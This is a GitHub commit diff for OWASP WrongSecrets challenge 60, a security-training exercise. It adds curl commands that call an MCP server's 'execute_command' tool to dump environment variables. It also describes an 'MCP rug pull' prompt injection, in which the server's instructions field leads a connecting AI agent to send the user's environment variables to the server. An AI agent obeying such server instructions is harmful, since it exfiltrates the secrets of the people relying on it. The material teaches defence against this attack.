Skip to content

Commit 8ef9d0e

Browse files
authored
Merge pull request #2445 from OWASP/improved_instructions_Challege_60
Improved instructions challege 60 when using it online
2 parents fc4102e + 7c66fd7 commit 8ef9d0e

File tree

1 file changed

+26
-1
lines changed

1 file changed

+26
-1
lines changed

src/main/resources/explanations/challenge60.adoc

Lines changed: 26 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -22,6 +22,18 @@ curl -s -X POST http://localhost:8090/mcp \
2222
-d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}'
2323
----
2424

25+
[%collapsible, title="when working from www.wrongsecrets.com"]
26+
====
27+
28+
[source,bash]
29+
----
30+
curl -s -X POST https://www.wrongsecrets.com/mcp \
31+
-H 'Content-Type: application/json' \
32+
-d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}'
33+
----
34+
====
35+
36+
2537
Then, call the `execute_command` tool to retrieve environment variables and find the secret:
2638
2739
[source,bash]
@@ -31,6 +43,19 @@ curl -s -X POST http://localhost:8090/mcp \
3143
-d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"execute_command","arguments":{"command":"env"}}}'
3244
----
3345
46+
47+
[%collapsible, title="when working from www.wrongsecrets.com"]
48+
====
49+
50+
[source,bash]
51+
----
52+
curl -s -X POST https://www.wrongsecrets.com/mcp \
53+
-H 'Content-Type: application/json' \
54+
-d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"execute_command","arguments":{"command":"env"}}}'
55+
----
56+
====
57+
58+
3459
****
3560
🤖 *Fun Fact — MCP Prompt Injection ("MCP Rug Pull"):*
3661
@@ -39,7 +64,7 @@ This MCP server goes one step further than just exposing env vars to passive cal
3964
You can try this locally by doing the following:
4065
4166
1. run the container locally (e.g. `docker run -p 8080:8080 -p 8090:8090 ghcr.io/owasp/wrongsecrets/wrongsecrets-pr:pr-2400-7391231`)
42-
2. setup an agent, using the mcp server "http://localhost:8090/mcp"
67+
2. setup an agent, using the mcp server "http://localhost:8090/mcp" (or "https://www.wrongsecrets.com/mcp" if you are ok with leaking online)
4368
3. initialize the agent, and watch the logs of your container saying "MCP forward_env received exfiltrated client env data (XXX chars)", showing the MCP server received your env-vars.
4469
4570
This is known as the *MCP rug pull* or *MCP supply chain attack*, and it demonstrates why you should always review the `instructions` field of any MCP server you connect to before trusting it. Next, always make sure you only allow isolated processes without access to secrets to use MCP servers. Never call MCP servers directly from your terminal if sensitive ENV vars or files are present.

0 commit comments

Comments
 (0)